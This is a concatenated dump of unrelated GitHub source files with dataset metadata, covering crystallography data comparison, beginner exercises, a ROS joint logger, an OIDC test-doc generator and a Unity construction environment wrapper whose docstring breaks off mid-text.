self.model_log(entry, self.v_model_file)\n\n def __str__(self):\n return \"Logger({})\".format(self.folder)\n\n def __repr__(self):\n return self.__str__()\n","repo_name":"zadiq/competitions","sub_path":"camper/camper/checkpoints.py","file_name":"checkpoints.py","file_ext":"py","file_size_in_byte":5222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30428221831","text":"from __future__ import division, print_function\n\nfrom libtbx import phil\n\nphil_scope = phil.parse(\n \"\"\"\n data = None\n .type = path\n .help = \"Data to test (as pickle file)\"\n reference = None\n .type = path\n .help = \"Reference MTZ file (containing IMEAN, SIGIMEAN)\"\n kb_scale = false\n .type = bool\n .help = \"Apply kB scaling to data for comparision\"\n filter_integrated = true\n .type = bool\n .help = \"Filter integrated flag\"\n filter_partiality = 0.0\n .type = float\n .help = \"Filter partiality column\"\n out = None\n .type = path\n .help = \"Text file output (optional)\"\n\"\"\"\n)\n\n\ndef compare_pickle_with_mtz(params):\n \"\"\"Compare intensities in pickle file with the scaled and merged intensities\n provided through the mtz file.\"\"\"\n\n from libtbx.utils import Sorry\n from iotbx import mtz\n from dials.array_family import flex\n import cPickle as pickle\n\n m = mtz.object(params.reference)\n d = pickle.load(open(params.data))\n\n # fnd the right reference data\n mad = m.as_miller_arrays_dict(merge_equivalents=False)\n i = None\n for k in mad.keys():\n if k[2] == \"IMEAN\":\n i = mad[k].as_non_anomalous_array().expand_to_p1()\n assert not i is None\n\n # print reference information\n print(\"Reference\")\n i.show_summary()\n\n # clean up - remove non-integrated data - TODO look at just strong spots\n if params.filter_integrated:\n d = d.select(d.get_flags(d.flags.integrated))\n if params.filter_partiality:\n d = d.select(d[\"partiality\"] > params.filter_partiality)\n\n # apply scale factors from input file, if present\n\n # if requested, scale data to reference using simple kB model\n if params.kb_scale:\n raise Sorry(\"No can do, implementing kB scaling is on the to do\")\n\n # match data to reference\n from cctbx import miller\n\n mi = miller.set(\n crystal_symmetry=i.crystal_symmetry(),\n anomalous_flag=False,\n indices=d[\"miller_index\"],\n ).expand_to_p1()\n match = mi.match_indices(i)\n pairs = match.pairs()\n\n i1 = flex.double()\n i2 = flex.double()\n scl = flex.double()\n\n # TODO remove outliers here from the paired up list => do not need to\n # worry about them biasing the correlation\n\n for p0, p1 in pairs:\n i1.append(d[\"intensity.sum.value\"][p0])\n i2.append(i.data()[p1])\n if \"partiality\" in d:\n scl.append(d[\"partiality\"][p0])\n else:\n scl.append(1.0)\n corr = flex.linear_correlation(i1, i2)\n corr2 = flex.linear_correlation(i1 / scl, i2)\n print(\n \"Correlation:\", corr.coefficient(), corr2.coefficient(), pairs.size(), d.size()\n )\n\n if params.out:\n with open(params.out, \"w\") as f:\n for iis in zip(i1, i2, scl):\n f.write(\"%f %f %f\\n\" % iis)\n\n\ndef run(args):\n from dials.util.options import OptionParser\n import libtbx.load_env\n\n usage = \"%s [options] data=integrated.pickle reference=reference.mtz\" % (\n libtbx.env.dispatcher_name\n )\n\n parser = OptionParser(usage=usage, phil=phil_scope)\n\n params, options, args = parser.parse_args(\n show_diff_phil=True, return_unhandled=True\n )\n\n compare_pickle_with_mtz(params)\n\n\nif __name__ == \"__main__\":\n import sys\n\n run(sys.argv[1:])\n","repo_name":"dials/dials_scratch","sub_path":"command_line/compare_pickle_with_mtz.py","file_name":"compare_pickle_with_mtz.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7817451046","text":"text = 'О Дивный Новый мир!'\n\ndef crypto(input_user):\n return [value for index, value in enumerate(input_user) if is_prime(index)]\n\ndef is_prime(number):\n for i_num in range(2, number):\n if number % i_num == 0:\n print(i_num)\n return False\n return True\n\nresult = crypto(text)\nprint(result)\n","repo_name":"j0k3em/python_skillbox","sub_path":"2.07 module/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"33512895941","text":"import sys\nsys.stdin = open(\"input.txt\", 'r')\n\nn = input()\n\nfor i in range(int(n)):\n tmp = input().split()\n times = int(tmp[0])\n str = tmp[1]\n new = \"\"\n for j in range(len(str)):\n for k in range(times):\n new += str[j]\n \n print(new)\n","repo_name":"yunhaeyoung/BaekJoon","sub_path":"2675.py","file_name":"2675.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"47041955037","text":"import pandas as pd\n\ndef mostrar_muertes_por_mes_por_pais():\n # Cargar el archivo CSV y seleccionar las columnas necesarias\n df = pd.read_csv('df_covid19_countries.csv', usecols=['location', 'date', 'new_deaths'])\n\n # Seleccionar 10 países\n paises = df['location'].unique()[:10]\n\n # Filtrar los datos para los 10 países seleccionados\n df_paises = df[df['location'].isin(paises)]\n\n # Convertir la columna 'date' a tipo datetime\n df_paises['date'] = pd.to_datetime(df_paises['date'])\n\n # Agrupar por país y mes y sumar el número de muertes\n df_agrupado = df_paises.groupby(['location', df_paises['date'].dt.year, df_paises['date'].dt.month]).sum()\n\n # Crear diccionario para almacenar los datos\n datos_por_pais = {}\n\n # Obtener el número de muertes por mes por país\n for pais in paises:\n df_pais = df_agrupado.loc[pais]\n datos_por_pais[pais] = df_pais['new_deaths'].tolist()\n\n return datos_por_pais\n\n","repo_name":"RaulRufoEnciso/M7_UF2_practica10_recus","sub_path":"p10_A/muertes_por_mes.py","file_name":"muertes_por_mes.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8979084432","text":"from lib.firebase_manager import FirebaseManager\nimport argparse\nfrom datetime import date, datetime\nfrom pytz import timezone\n\nparser = argparse.ArgumentParser(description='post data with firebase')\nparser.add_argument('--key-path', help='path to firebase admin credentials')\nparser.add_argument('--storage-name', help='name of firebase storage')\nparser.add_argument('--start-date')\nparser.add_argument('--end-date')\n\nargs = parser.parse_args()\nkey_path = args.key_path\nstorage_name = args.storage_name\nstart_date = datetime.strptime(args.start_date, \"%Y%m%d\").replace(tzinfo=timezone(\"Asia/Tokyo\")).astimezone(tz=timezone(\"UTC\"))\nend_date = datetime.strptime(args.end_date, \"%Y%m%d\").replace(tzinfo=timezone(\"Asia/Tokyo\")).astimezone(tz=timezone(\"UTC\"))\n\nprint(start_date, end_date)\n\n# .replace(tzinfo=timezone(\"Asia/Tokyo\")).astimezone(tz=\"UTC\")\n# init firebase manager\nfm = FirebaseManager(key_path, storage_name)\n# download all images\nfm.delete_image_by_daterange(start_date, end_date)\n","repo_name":"r1wtn/firebase_raspi","sub_path":"delete_image.py","file_name":"delete_image.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"246481081","text":"\"\"\" RuleError \"\"\"\nfrom .base_error import BaseError\n\n\nclass RuleError(BaseError):\n \"\"\" Error that occurs on Rule validation \"\"\"\n def __init__(self, rule, value):\n self.params = rule.get_failure_params(value)\n self.rule_name = rule.get_alias()\n self.value = value\n\n def __str__(self):\n if self.params:\n self.msg = '{} does not abide by the rule {} with params {}'.format(self.value, self.rule_name, self.params)\n else:\n self.msg = '{} does not abide by the rule {}'.format(self.value, self.rule_name)\n\n @staticmethod\n def name() -> str:\n return 'RuleError'\n\n def to_json(self) -> dict:\n return {\n 'name': self.rule_name,\n 'params': self.params,\n 'value': self.value\n }\n","repo_name":"moveaxlab/validation-py","sub_path":"validation/exceptions/rule_error.py","file_name":"rule_error.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"18796260951","text":"import requests\r\n\r\n\r\ndef download_image(session: requests.Session, url: str, path: str) -> bool:\r\n r = session.get(url, stream=True)\r\n if r.status_code == 200:\r\n with open(path, \"wb\") as f:\r\n f.write(r.content)\r\n return True\r\n return False\r\n","repo_name":"StudyForces/ocr-microservice","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"35542544048","text":"# File Created By Python\r\n# Write a Python program to print the even numbers from a given list.\r\n# Sample List:\r\n# Expected Result: [2, 4, 6, 8]\r\n\r\ndef IsEven(myList):\r\n result = []\r\n for i in myList:\r\n if i % 2 == 0:\r\n result.append(i)\r\n print(result)\r\n\r\n\r\nIsEven([1, 2, 3, 4, 5, 6, 7, 8, 9])\r\n","repo_name":"iamprawesh/pythonassignment_01","sub_path":"Functions/FN10.py","file_name":"FN10.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36262162090","text":"from datetime import datetime\n\nfrom mongoengine import DoesNotExist\n\nfrom ..models import (accountModel, receiptDataModel)\n\n\ndef account_remover_permanently():\n try:\n today = datetime.today()\n accounts = accountModel.objects(delete=True)\n try:\n for account in accounts:\n day = account.data_created\n delta = today - day\n if delta.days > 30:\n receipts = receiptDataModel.objects(owner=account.id)\n for receipt in receipts:\n receipt.deleted = True\n account.delete()\n except Exception as e:\n return \"Routine Account Removal Failed!\\n\" + str(e)\n except DoesNotExist:\n pass\n","repo_name":"Alulu-Dev/Receipt-Management","sub_path":"RM Back-End/API/core/routineJobs/accountRemover.py","file_name":"accountRemover.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72224280533","text":"import numpy as np\nfrom copy import deepcopy\n\nclass OneVsRestClassifier:\n \"\"\"\n Implementation of the one vs rest method for multiclass classification.\n \"\"\"\n\n def __init__(self, clf):\n self.clf = clf\n self.clfs = []\n\n def fit(self, X, y):\n classes = np.unique(y)\n self.clfs = [deepcopy(self.clf) for i in range(len(classes))]\n for i in range(len(classes)):\n y_new = y == classes[i]\n self.clfs[i].fit(X, y_new)\n return self\n\n def predict_proba(self, X):\n probas = np.zeros((len(self.clfs), X.shape[1]))\n for i in range(len(self.clfs)):\n probas[i] = self.clfs[i].predict_proba(X)\n return probas\n\n def predict(self, X):\n return np.argmax(self.predict_proba(X), axis=0)\n","repo_name":"json-chow/ML-Implementations-on-MNIST","sub_path":"multiclass.py","file_name":"multiclass.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26661573545","text":"import re\n\nusers = {}\nmessages = 0\nlinkfile = open(\"spotifylinks.txt\", \"w+\")\n\nwith open(\"_chat.txt\", encoding=\"utf8\") as file:\n for line in file:\n if line[0] == '[':\n messages += 1\n first_char = line.index(']')\n user = line[first_char+2: first_char+4]\n\n if user in users:\n users[user] += 1\n else: \n users[user] = 1\n urls = re.findall(\n r\"[\\bhttps://open.\\b]*spotify[\\b.com\\b]*[/:]*track[/:]*[A-Za-z0-9?=]+\", line\n )\n if len(urls) > 0:\n songurl = urls[0]\n print(songurl)\n startIndex = len(songurl) - songurl[::-1].index('/')\n if('?' in songurl):\n endIndex = songurl.index('?')\n songId = songurl[startIndex: endIndex]\n else: \n songId = songurl[startIndex: ]\n linkfile.write(\"spotify:track:\" +songId + \"\\n\")\n\nprint('total messages: ' +str(messages))\nprint(users)\nlinkfile.close()\n","repo_name":"SuperMonstor/whatsapp-spotify-link-scraper","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2491923543","text":"#!/usr/bin/env python3\nimport json\nimport os\nimport re\n\nLINE_PATTERN = [\n 'if \"([^\"]+)\" in self.behavior_type:',\n \"if '([^']+)' in self.behavior_type:\",\n]\n\n\ndef read_provider(source_file, modifier):\n nr = 1\n flag = False\n _name = \"\"\n fp = open(source_file, 'r')\n\n for line in fp.readlines():\n line = line.strip()\n if flag:\n if line.startswith('#'):\n modifier[_name][\"doc\"].append(line[2:])\n continue\n else:\n flag = False\n\n for p in LINE_PATTERN:\n m = re.search(p, line)\n if m:\n _name = m.group(1)\n try:\n modifier[_name]['line'].append(nr)\n except KeyError:\n try:\n modifier[_name]['line'] = [nr]\n except KeyError:\n continue\n flag = True\n if \"doc\" not in modifier[_name]:\n modifier[_name][\"doc\"] = []\n\n nr += 1\n return modifier\n\n\nBASEDIR = \"../test_tool/cp/test_rplib/rp/flows\"\n\n\ndef read_tests():\n modifier = {}\n test = {}\n for f in os.listdir(BASEDIR):\n fname = os.path.join(BASEDIR, f)\n _id = f[:-5]\n if os.path.isfile(fname):\n desc = json.loads(open(fname).read())\n test[_id] = desc\n try:\n _behav = desc['behavior']\n except KeyError:\n continue\n\n for b in _behav:\n try:\n modifier[b]['usage'].append(_id)\n except KeyError:\n modifier[b] = {\"usage\": [_id]}\n return test, modifier\n\n\ndef do_dlist(subject, items):\n res = [\"<dl><dt>\" + subject + \"<dt>\"]\n for item in items:\n res.append(\"<dd>\" + item + \"</dd>\")\n res.append(\"</dl>\")\n return \"\\n\".join(res)\n\n\ndef do_list(items):\n res = ['<ul style=\"list-style: none;\">']\n for item in items:\n res.append(\"<li>\" + item + \"</li>\")\n res.append(\"</ul>\")\n return \"\\n\".join(res)\n\n\nPATTERN = \"\"\"\n<h2 id=\"{link}\">{sec}.{nr}. {id}</h2>\n<p>{doc}</p>\n<p>{links}\n<p>{usage}\n<p>\nJava Implementation Status: Status TDB\n</p>\n<p>\nLink to Java code: Link TBD\n</p>\n\"\"\"\n\n\ndef do_modifier(name, spec, nr, base_url, sec):\n args = {\n 'link': name,\n 'id': name,\n \"nr\": nr,\n \"usage\": do_dlist(\"Used in tests:\", spec[\"usage\"]),\n \"sec\": sec\n }\n\n try:\n args['doc'] = \"<br>\\n\".join(spec[\"doc\"])\n except KeyError:\n args['doc'] = ''\n\n try:\n args['links'] = do_dlist(\n \"Links to cod e:\",\n ['<a href=\"{url}#L{line_nr}\">code</a>'.format(url=base_url, line_nr=l) for l in spec[\"line\"]])\n except KeyError:\n args['links'] = ''\n\n return PATTERN.format(**args)\n\n\nDESC_PATTERN = \"\"\"\n<h2 id=\"{href}\">{sec}.{nr}. {id}</h2>\n<p><em>{doc}</em></p>\n<p></p>\n\n<table>\n <tbody>\n <tr>\n <td>Description</td>\n <td>{descr}</td>\n </tr>\n <tr>\n <td>Group</td>\n <td>{group}</td>\n </tr>\n <tr>\n <td>Return Types</td>\n <td>{rtypes}</td>\n </tr>\n <tr>\n <td>Modifiers</td>\n <td>{modifiers}</td>\n </tr>\n <tr>\n <td>Expected result</td>\n <td>{expected}</td>\n </tr>\n <tr>\n <td>Link to specification</td>\n <td>{spec}</td>\n </tr>\n {extra} \n </tbody>\n</table>\n\n<p>\nJava Implementation Status: Status TDB\n</p>\n<p>\nLink to Java code: Link TBD\n</p>\n<p></p>\n\"\"\"\n\n\ndef do_test(name, spec, nr, sec):\n kwargs = {\n \"id\": name,\n \"nr\": nr,\n \"href\": name.replace('-', '_'),\n \"descr\": spec[\"detailed_description\"],\n \"rtypes\":\n do_list(spec[\"capabilities\"][\"response_types_supported\"]),\n \"group\": spec[\"group\"],\n \"expected\": spec[\"expected_result\"],\n \"extra\": \"\",\n \"sec\": sec\n }\n try:\n kwargs[\"spec\"] = do_list(\n ['<a href=\"{}\">{}</a>'.format(_url, _url) for _url in spec[\"reference\"]])\n except KeyError:\n kwargs[\"spec\"] = \"MISSING\"\n\n try:\n kwargs[\"modifiers\"] = do_list(\n ['<a href=\"#{}\">{}</a>'.format(b, b) for b in spec[\"behavior\"]])\n except KeyError:\n kwargs[\"modifiers\"] = \"NONE\"\n\n try:\n kwargs[\"doc\"] = spec[\"short_description\"]\n except KeyError:\n kwargs[\"doc\"] = spec[\"detailed_description\"]\n\n return DESC_PATTERN.format(**kwargs)\n\n\ndef do_groups(tests):\n groups = set()\n for key, spec in tests.items():\n groups.add(spec['group'])\n return list(groups)\n\n\nFILE = \"../src/oidctest/rp/provider.py\"\n\nREPO = \"https://github.com/rohe\"\nOIDCTEST_BLOB = \"91edad293d0fd55f02088b637b0130e26d2952e8\"\n\nCODE_URL = \"{}/oidctest/blob/{}/src/oidctest/rp/provider.py\".format(REPO, OIDCTEST_BLOB)\n\nTOC_PATTERN = \"\"\"<li>{section}.{nr}. <a href=\"#{link}\">{id}</a></li>\"\"\"\n\nif __name__ == \"__main__\":\n MOD_SEC = 4\n TEST_SEC = 3\n test, modifier = read_tests()\n modifier = read_provider(FILE, modifier)\n\n mod_keys = list(modifier.keys())\n mod_keys.sort()\n\n test_keys = list(test.keys())\n test_keys.sort()\n\n print_args = {\n \"modifiers\": [],\n \"modifiers_toc\": [],\n \"test_desc_toc\": [],\n \"test_desc\": []\n }\n\n nr = 1\n _mods = []\n for key in mod_keys:\n _mods.append(do_modifier(key, modifier[key], nr, CODE_URL, MOD_SEC))\n nr += 1\n print_args[\"modifiers\"] = \"\\n\".join(_mods)\n\n nr = 1\n _m_toc = []\n for key in mod_keys:\n _m_toc.append(TOC_PATTERN.format(section=MOD_SEC, nr=nr, link=key, id=key))\n nr += 1\n print_args[\"modifiers_toc\"] = \"\\n\".join(_m_toc)\n\n nr = 1\n _item = []\n for key in test_keys:\n _item.append(do_test(key, test[key], nr, TEST_SEC))\n nr += 1\n print_args[\"test_desc\"] = \"\\n\".join(_item)\n\n _toc = []\n nr = 1\n for key in test_keys:\n _toc.append(TOC_PATTERN.format(section=TEST_SEC, nr=nr, link=key, id=key))\n nr += 1\n print_args[\"test_desc_toc\"] = \"\\n\".join(_toc)\n\n _grp = do_groups(test)\n _grp.sort()\n print_args[\"groups\"] = do_list(_grp)\n\n _head = open(\"rp_head.html\").read()\n print(_head)\n _body = open(\"rp_body.html\").read()\n print(_body.format(**print_args))\n","repo_name":"rohe/oidctest","sub_path":"test_description/make_desc_rp.py","file_name":"make_desc_rp.py","file_ext":"py","file_size_in_byte":6281,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"67"} +{"seq_id":"5329219944","text":"import cv2\nurl=\"file:///C:/Users/Aditya/Downloads/y2mate.com%20-%20Kiara%20%20Sidharth%20%20Ranjha%20%20The%20Wedding%20Filmer_1080p.mp4\"\n#url= \"https://192.168.84.138:8080/video\" \ncap= cv2.VideoCapture(url)\nprint(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\nprint(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n\n\nprint(cap.get(3))\nprint(cap.get(4))\n\nwhile(cap.isOpened()):\n ret, frame=cap.read()\n if ret==True:\n #frame=cv2.resize(frame,(400,400))\n #gray=cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n \n cv2.imshow('Frame',frame)\n \n k= cv2.waitKey(1)\n if k== ord('q'):\n break\n else:\n break\n\n\ncv2.destroyAllWindows \n","repo_name":"adi673/opencv","sub_path":"opencv1/cv7.py","file_name":"cv7.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1308433836","text":"#!/usr/bin/env python\nimport numpy as np\nfrom numpy import float64\nfrom pandas import array\nimport rospy\nfrom sensor_msgs.msg import JointState \nimport sys\nimport csv\nimport time\n\n# pass as first argument the topic where we will read (ex. /locobot/pan_controller/command)\n# and as second where to save the csv file (ex. /home/<username>/Desktop/) )\nprev_data_wheel = 0\nprev_data_arm = 0\ndata_array = []\nDELTA = 0.00001 #Minimum change between values that will be logged\nMIN_VAL = 0.0001 #Minimum change with respect to original value size (if I subtract 0.01e-5 to 0.01e-8 the difference will be higher \n #than the delta but still needs to be ignored\nTIME_STEP = 50 #Milliseconds between logging events\n\n\ndef checker(data, flag) :\n \"\"\"Checker function. Check minimum change between time steps to discourage useless data \n (minimum change between joints, errors from sensors within a DELTA value\n\n Args:\n data (list of float64 ): list of current position and velocities values\n flag ( Boolean ): if True compare data with prev_data_wheel, if False compare data with prev_data_arm \n\n Returns:\n _type_: Boolean\n \"\"\"\n \n global prev_data_wheel\n global prev_data_arm\n data = np.array(data)\n if flag :\n sub = np.abs(np.subtract(data, prev_data_wheel))\n prev_data_wheel = data\n else :\n sub = np.abs(np.subtract(data, prev_data_arm))\n prev_data_arm = data\n if sub.max() > DELTA and data[np.argmax(sub)] > MIN_VAL:\n #print('Values of subtraction:\\n', sub, '\\n')\n #print( data[np.argmax(sub)] ,'was more than ', MIN_VAL, '\\n')\n return True\n return False\n\ndef data_received(data):\n \"\"\"Topic callback function. Receives JointState and parses it into data_array while doing frequency\n checks and useful data checks with checker()\n\n Args:\n data (JointState msg): Describes current joint states\n \"\"\"\n\n global data_array\n global prev_time\n\n log_time = int(time.time() * 1000) #get actual time in ms to for frequency checking\n\n if (log_time - prev_time) > TIME_STEP :#frequency check, lower TIME_STEP value for more frequent logging and viceversa\n prev_time = log_time\n ros_time = rospy.get_rostime() #get rostime for logging purposes\n rospy.loginfo(\"Read acquired: %s\", data.name)\n if data.name == ['wheel_right_joint', 'wheel_left_joint']:\n if checker(data.position, True):\n data_array.append([data.name,ros_time.secs, data.position[0], data.position[1]])\n else:\n if checker( data.position + data.velocity, False):\n data_array.append([ros_time.secs, data.position[0], data.position[1], data.position[2],\n data.position[3], data.position[4], data.position[5], data.position[6],\n data.position[7], data.position[8], data.position[11], data.position[12], \n data.velocity[0], data.velocity[1], data.velocity[2], data.velocity[3],\n data.velocity[4], data.velocity[5], data.velocity[6], data.velocity[7],\n data.velocity[8], data.velocity[9], data.velocity[10]])\n\ndef listener():\n \"\"\"Listener node that initializes callback function data_received and waits for shutdown commands while\n processing events.\n \"\"\"\n\n global prev_time\n rospy.init_node('save_data_joint', anonymous = True)\n topic_name = sys.argv[1]\n prev_time = int(time.time() * 1000) #get actual time in ms to for frequency checking \n rospy.Subscriber(topic_name, JointState, data_received)\n rospy.spin()\n\ndef writeFile() :\n \"\"\"File writer, called by try/finally block in main. Writes data_array to file with I/O open operations\n in CSV format. Logs error in case of raised IOError or Logs info in case of I/O success.\n \"\"\"\n\n wheel_cnt = 0\n arm_cnt = 0 \n try:\n with open(sys.argv[2] + 'data_saved_arm.csv', mode = 'a') as file_arm, open(sys.argv[2] + 'data_saved_wheel.csv', mode = 'a') as file_wheel:\n file_arm = csv.writer(file_arm, delimiter = ',', quotechar = '\"', quoting = csv.QUOTE_MINIMAL)\n file_wheel = csv.writer(file_wheel, delimiter = ',', quotechar = '\"', quoting = csv.QUOTE_MINIMAL)\n for data in data_array :\n if data[0] == ['wheel_right_joint', 'wheel_left_joint']:\n file_wheel.writerow(data) \n wheel_cnt = wheel_cnt +1\n else :\n file_arm.writerow(data)\n arm_cnt = arm_cnt +1\n except IOError as e:\n rospy.logerr('Operation failed: %s at time %f', e.strerror, rospy.get_rostime())\n else :\n rospy.loginfo('Operation Success! Written %d lines to %s and %d to %s\\n', arm_cnt, sys.argv[2] \n +'data_saved_arm.csv', wheel_cnt, sys.argv[2] +'data_saved_wheel.csv')\n\n\nif __name__ == '__main__':\n try :\n listener()\n finally :\n writeFile()\n","repo_name":"AntoRag/thesis","sub_path":"src/save_data/scripts/save_data_jointstate.py","file_name":"save_data_jointstate.py","file_ext":"py","file_size_in_byte":5124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"848774706","text":"r\"\"\"Wrapper for the true underlying unity meta environment.\n\nThe meta environment allows to place blocks in arbitrary positions.\n\nObservation consists of variable size (0 in action spec means variable size)\n\"Blocks\", \"Balls\" and \"Contacts\". It also contains a \"ElapsedTime\"\ndouble containing simulation steps, \"SpawnCollisionCount\" with the number\nof spawned collisions since the last Reset, and \"CollisionStop\" indicating\nwhether the last physics simulation ended due to a collision (only if\nStopOnCollision is set).\n\nIt also includes an \"RGB\" image from a front ortographic camera with\nconfigurable size and position and a \"Segmentation\" image containing\na 2d-array with the id of the object at each location. An additional\n\"ObserverRGB\" image can be used for higher resolution 3d rendering.\n\nBlock Features:\n-[0]: Object id.\n-[1/2/3]: Horizontal/Vertical/Depth position.\n-[4/5]: Cos(angle)/Sin(angle).\n-[6/7/8]: Width/Height/Depth. Width/Height are scaling parameters and can be\n negative.\n-[9/10/11/12]: R/G/B/A.\n-[13/14]: Horizontal/Vertical velocity.\n-[15]: Angular velocity.\n-[16]: One hot indicator if it is a physical object.\n-[17/18/19/20]: Collision mask.\n-[21]: Density.\n-[22]: Bounciness.\n-[23]: Friction.\n-[24]: Linear drag.\n-[25]: Angular drag.\n-[26]: One hot indicator if it is a free object.\n-[27]: One hot indicator if it is glueable.\n-[28]: One hot indicator if it is sticky.\n-[29]: One hot indicator if it is glued (sticky only on the first contact).\n-[30]: One hot indicator indicating if the object is still sticky.\n-[31/32/33]: One hot indicator of the type of the shape.\n-[34]: Simulation time when the block was spawned.\n-[35]: Number of collisions that the block has experienced.\n\nContact Features:\n-[0/1]: Object ids of the two blocks involved in the contact.\n-[2]: One hot indicator if the contact is glued.\n-[3/4/5]: Relative position of the contact point with respect to the parent\n object, evaluated when the objects enter the collision.\n\nActions (all of them float32 scalars, not enforced range in brackets) represent:\n\n-SimulationSteps [0., 10000.]: Number of simulation steps (0.02s) to run.\n Rounded to int.\n-Delete [0., 1.]: if > 0.5 Removes object with the \"SelectId\" id or at\n \"Select\" coordinates, if SelectId == 0.\n-Reset [0., 1.]: if > 0.5 removes all objects from the scene.\n-SpawnBlock [0., 1.]: if > 0.5 spawns one block at the \"Set\" coordinates.\n-SetId [int]: Id of the spawned object. If == 0, a sequential negative Id is\n given. If > 0 the value (or next available value) will be used\n as Id. If < 0 the value (or previous available value) will be used\n as Id.\n-SetPosX [-7.5, 7.5]: Horizontal position of the spawned object.\n-SetPosY [0., 15.]: Vertical position of the spawned object.\n-SetPosZ [-2., 2.]: Depth position of the spawned object.\n-SetAngle [-pi, pi]: Angle spawned object.\n-SetVelX [-10., 10.]: Horizontal velocity of the spawned moving block.\n-SetVelY [-10., 10.]: Vertical velocity of the spawned moving block.\n-SetVelAngle [-10., 10.]: Angular velocity of the spawned moving block.\n-Shape [0., 1., 2.]: 0: box, 1: ball, 2: ramp.\n-Width [-10., 10.]: Width of the spawned object. As it is a scaling parameter,\n negative values can be used to mirror the shapes horizontally.\n-Height [-10., 10.]: Height of the spawned object, similar to width.\n As it is a scaling parameter, negative values can be used to mirror the\n shapes vertically. Unused for balls.\n-Depth [0.1, 10.]: Depth of the spawned object, similar to width.\n Unused for balls. This is just for visualization purposes\n and does not affect the physical properties of the bodies.\n-PhysicalBody [0., 1.]: if > 0.5, the spawned object is subject to physics,\n otherwise it does not interact with other bodies or gravity.\n-CollisionMask [0b0000, 0b1111]: Bitmap with collision map, two bodies will\n collide if the bitwise \"and\" is positive ((mask_1 & mask_2) > 0).\n-Density [0.001, 10000.]: Density of the created body.\n-Bounciness [0., 1.]: Restitution coefficient of created body.\n-Friction [0., 1.]: Friction of the material of the created body.\n-LinearDrag [0., 100.]: Translation drag of the created body.\n-AngularDrag [0., 100.]: Rotation drag of the created body.\n-SelectId [int]: Id of selected objects.\n-SelectPosX [-7.5, 7.5]: Horizontal position of selected objects.\n-SelectPosY [0., 15.]: Vertical position of selected objects.\n-RGBA [0., 1.]: Color components of the spawned element. Size 4.\n-Glueable [0., 1.]: If 1. the object will be affected by glue.\n-Sticky [0., 1.]: if > 0.5, the spawned block is sticky. (Only if Glueable).\n-FreeBody [0., 1.]: if > 0.5, the spawned block moves freely, otherwise fixed.\n-UseGlue [0., 1.]: if > 0.5, the spawned free block gets glues on the\n first collision. (Only if Glueable).\n-GravityX/GravityY [-100., 100.]: Vector corresponding to the gravity.\n-Timestep [0., 10.]: Duration of each simulation timestep.\n-StopOnCollision [0., 1.]: If > 0.5 the simulation will be stop on the first\n collision, even if the number of simulation steps have not been reached.\n-CameraPosX/CameraPosY [-100., 100.]: Position of the center of the camera view.\n-CameraHeight [0., 1000.]: Height of the camera view.\n\nConstants for block features and default actions are provided in constants.py.\n\"\"\"\n\nimport time\n\nfrom absl import logging\nfrom dm_construction.unity import constants\nfrom dm_construction.unity import utils\nimport dm_env\nfrom dm_env import specs\nimport numpy as np\n\nACTION_DEFAULTS = constants.ACTION_DEFAULTS\nOTHER_ACTION_DEFAULT = constants.OTHER_ACTION_DEFAULT\n\n# Update together with new versions that are released.\nLAST_PRODUCTION_LABEL = \"production_v26\"\n\n\nclass UnityConstructionEnv(dm_env.Environment):\n \"\"\"Wrapper for the raw unity env that deserializes observations/actions.\"\"\"\n\n def __init__(self, loader, version=None, include_agent_camera=True,\n width=128, height=128, include_segmentation_camera=False,\n num_segmentation_layers=3, include_observer_camera=False,\n observer_width=None, observer_height=None,\n observer_3d=False, show_set_cursor=True, show_select_cursor=True,\n max_simulation_substeps=0, local_path=None,\n max_collisions_per_simulation_step=10):\n \"\"\"Inits the environment.\n\n Args:\n loader: a function that loads the environment, e.g. as a Docker image.\n This function should take the following arguments:\n - settings: a dictionary of settings for the Unity env\n - observations: a list of requested observations\n - version: the version to load\n - local_path: a path to a local version of the environment\n And it should return the loaded Unity environment.\n version: Label of the version of the construction mpm to be used. If None,\n the latest version of the mpm known to this module and stored in\n LAST_PRODUCTION_LABEL will be used.\n include_agent_camera: If True, an \"RGB\" field will contain a camera render\n as part fo the observation.\n width: Horizontal resolution of the agent camera observation.\n height: Vertical resolution of the agent camera observation.\n include_segmentation_camera: If True, a \"Segmentation\" camera will be\n provided as part of the observation.\n num_segmentation_layers: Maximum number of objects per pixel allowed\n in the segmented observation.\n 